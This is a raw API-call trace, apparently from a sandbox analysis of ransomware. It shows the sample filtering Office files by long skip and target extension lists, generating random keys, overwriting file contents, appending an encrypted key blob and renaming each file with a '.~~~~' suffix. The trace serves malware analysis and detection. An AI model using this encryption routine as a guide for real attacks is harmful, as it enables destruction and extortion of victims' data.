	[0134.580] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.580] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.580] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.580] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.581] CloseHandle (hObject=0x104) returned 1
	[0134.600] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.600] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_F_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_f_col.hxk.~~~~")) returned 1
	[0134.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0134.728] GetLastError () returned 0x0
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".scr") returned 0x0
	[0134.729] lstrlenW (lpString=".cmd") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".cmd") returned 0x0
	[0134.729] lstrlenW (lpString=".dll") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dll") returned 0x0
	[0134.729] lstrlenW (lpString=".bat") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".bat") returned 0x0
	[0134.729] lstrlenW (lpString=".cpl") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".cpl") returned 0x0
	[0134.729] lstrlenW (lpString=".sys") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".sys") returned 0x0
	[0134.729] lstrlenW (lpString=".msc") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".msc") returned 0x0
	[0134.729] lstrlenW (lpString=".com") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".com") returned 0x0
	[0134.729] lstrlenW (lpString=".lnk") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".lnk") returned 0x0
	[0134.729] lstrlenW (lpString=".msp") returned 4
	[0134.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".msp") returned 0x0
	[0134.729] lstrlenW (lpString=".pif") returned 4
	[0134.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".pif") returned 0x0
	[0134.730] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0134.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.732] lstrlenW (lpString=".sqb") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".sqb") returned 0x0
	[0134.732] lstrlenW (lpString=".ost") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".ost") returned 0x0
	[0134.732] lstrlenW (lpString=".txt") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".txt") returned 0x0
	[0134.732] lstrlenW (lpString=".mdt") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".mdt") returned 0x0
	[0134.732] lstrlenW (lpString=".BDB") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".BDB") returned 0x0
	[0134.732] lstrlenW (lpString=".eql") returned 4
	[0134.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".eql") returned 0x0
	[0134.732] lstrlenW (lpString=".DBF") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DBF") returned 0x0
	[0134.733] lstrlenW (lpString=".EQL") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".EQL") returned 0x0
	[0134.733] lstrlenW (lpString=".FDB") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".FDB") returned 0x0
	[0134.733] lstrlenW (lpString=".EDB") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".EDB") returned 0x0
	[0134.733] lstrlenW (lpString=".DACPAC") returned 7
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DACPAC") returned 0x0
	[0134.733] lstrlenW (lpString=".VHD") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".VHD") returned 0x0
	[0134.733] lstrlenW (lpString=".DBV") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DBV") returned 0x0
	[0134.733] lstrlenW (lpString=".dacpac") returned 7
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dacpac") returned 0x0
	[0134.733] lstrlenW (lpString=".sdf") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".sdf") returned 0x0
	[0134.733] lstrlenW (lpString=".accdb") returned 6
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".accdb") returned 0x0
	[0134.733] lstrlenW (lpString=".DBX") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DBX") returned 0x0
	[0134.733] lstrlenW (lpString=".MDT") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".MDT") returned 0x0
	[0134.733] lstrlenW (lpString=".SQB") returned 4
	[0134.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".SQB") returned 0x0
	[0134.733] lstrlenW (lpString=".vhd") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".vhd") returned 0x0
	[0134.734] lstrlenW (lpString=".bac") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".bac") returned 0x0
	[0134.734] lstrlenW (lpString=".mdf") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".mdf") returned 0x0
	[0134.734] lstrlenW (lpString=".BAK") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".BAK") returned 0x0
	[0134.734] lstrlenW (lpString=".BAC") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".BAC") returned 0x0
	[0134.734] lstrlenW (lpString=".dbs") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dbs") returned 0x0
	[0134.734] lstrlenW (lpString=".vhdx") returned 5
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".vhdx") returned 0x0
	[0134.734] lstrlenW (lpString=".NDF") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".NDF") returned 0x0
	[0134.734] lstrlenW (lpString=".dat") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dat") returned 0x0
	[0134.734] lstrlenW (lpString=".DBS") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DBS") returned 0x0
	[0134.734] lstrlenW (lpString=".CKP") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".CKP") returned 0x0
	[0134.734] lstrlenW (lpString=".edb") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".edb") returned 0x0
	[0134.734] lstrlenW (lpString=".PST") returned 4
	[0134.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".PST") returned 0x0
	[0134.735] lstrlenW (lpString=".dbf") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dbf") returned 0x0
	[0134.735] lstrlenW (lpString=".SQL") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".SQL") returned 0x0
	[0134.735] lstrlenW (lpString=".pst") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".pst") returned 0x0
	[0134.735] lstrlenW (lpString=".dbv") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dbv") returned 0x0
	[0134.735] lstrlenW (lpString=".SDF") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".SDF") returned 0x0
	[0134.735] lstrlenW (lpString=".dtxs") returned 5
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dtxs") returned 0x0
	[0134.735] lstrlenW (lpString=".db3") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".db3") returned 0x0
	[0134.735] lstrlenW (lpString=".OST") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".OST") returned 0x0
	[0134.735] lstrlenW (lpString=".dbx") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dbx") returned 0x0
	[0134.735] lstrlenW (lpString=".DB3") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DB3") returned 0x0
	[0134.735] lstrlenW (lpString=".DAT") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DAT") returned 0x0
	[0134.735] lstrlenW (lpString=".VHDX") returned 5
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".VHDX") returned 0x0
	[0134.735] lstrlenW (lpString=".ndf") returned 4
	[0134.735] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".ndf") returned 0x0
	[0134.736] lstrlenW (lpString=".DB") returned 3
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DB") returned 0x0
	[0134.736] lstrlenW (lpString=".sql") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".sql") returned 0x0
	[0134.736] lstrlenW (lpString=".MYD") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".MYD") returned 0x0
	[0134.736] lstrlenW (lpString=".DBT") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DBT") returned 0x0
	[0134.736] lstrlenW (lpString=".ACCDB") returned 6
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".ACCDB") returned 0x0
	[0134.736] lstrlenW (lpString=".fdb") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".fdb") returned 0x0
	[0134.736] lstrlenW (lpString=".bak") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".bak") returned 0x0
	[0134.736] lstrlenW (lpString=".myd") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".myd") returned 0x0
	[0134.736] lstrlenW (lpString=".DTXS") returned 5
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".DTXS") returned 0x0
	[0134.736] lstrlenW (lpString=".ckp") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".ckp") returned 0x0
	[0134.736] lstrlenW (lpString=".dbt") returned 4
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".dbt") returned 0x0
	[0134.736] lstrlenW (lpString=".db") returned 3
	[0134.736] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".db") returned 0x0
	[0134.736] lstrlenW (lpString=".TXT") returned 4
	[0134.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".TXT") returned 0x0
	[0134.737] lstrlenW (lpString=".MDF") returned 4
	[0134.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".MDF") returned 0x0
	[0134.737] lstrlenW (lpString=".bdb") returned 4
	[0134.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".bdb") returned 0x0
	[0134.737] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0134.737] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0134.737] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0c80) returned 1
	[0134.738] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0134.738] CryptReleaseContext (hProv=0x3a0c80, dwFlags=0x0) returned 1
	[0134.738] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0134.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0134.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0134.738] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25472860646) returned 1
	[0134.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb9c0a450, dwHighDateTime=0x1d60e1e)) 
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38ccb0
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ccb0 | out: hHeap=0x300000) returned 1
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.739] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0134.739] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.739] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0134.740] GetLastError () returned 0x0
	[0134.740] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0134.740] GetLastError () returned 0x0
	[0134.745] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.745] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.747] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0134.747] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.747] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.750] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.750] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.750] CloseHandle (hObject=0xc4) returned 1
	[0134.750] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a85f8
	[0134.750] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.~~~~")) returned 1
	[0134.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a85f8 | out: hHeap=0x300000) returned 1
	[0134.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0134.753] GetLastError () returned 0x0
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".scr") returned 0x0
	[0134.753] lstrlenW (lpString=".cmd") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".cmd") returned 0x0
	[0134.753] lstrlenW (lpString=".dll") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".dll") returned 0x0
	[0134.753] lstrlenW (lpString=".bat") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".bat") returned 0x0
	[0134.753] lstrlenW (lpString=".cpl") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".cpl") returned 0x0
	[0134.753] lstrlenW (lpString=".sys") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".sys") returned 0x0
	[0134.753] lstrlenW (lpString=".msc") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".msc") returned 0x0
	[0134.753] lstrlenW (lpString=".com") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".com") returned 0x0
	[0134.753] lstrlenW (lpString=".lnk") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".lnk") returned 0x0
	[0134.753] lstrlenW (lpString=".msp") returned 4
	[0134.753] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".msp") returned 0x0
	[0134.753] lstrlenW (lpString=".pif") returned 4
	[0134.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".pif") returned 0x0
	[0134.754] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.754] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0134.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.755] lstrlenW (lpString=".sqb") returned 4
	[0134.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".sqb") returned 0x0
	[0134.755] lstrlenW (lpString=".ost") returned 4
	[0134.755] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".ost") returned 0x0
	[0134.756] lstrlenW (lpString=".txt") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".txt") returned 0x0
	[0134.756] lstrlenW (lpString=".mdt") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".mdt") returned 0x0
	[0134.756] lstrlenW (lpString=".BDB") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".BDB") returned 0x0
	[0134.756] lstrlenW (lpString=".eql") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".eql") returned 0x0
	[0134.756] lstrlenW (lpString=".DBF") returned 4
	[0134.756] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXC", lpSrch=".DBF") returned 0x0
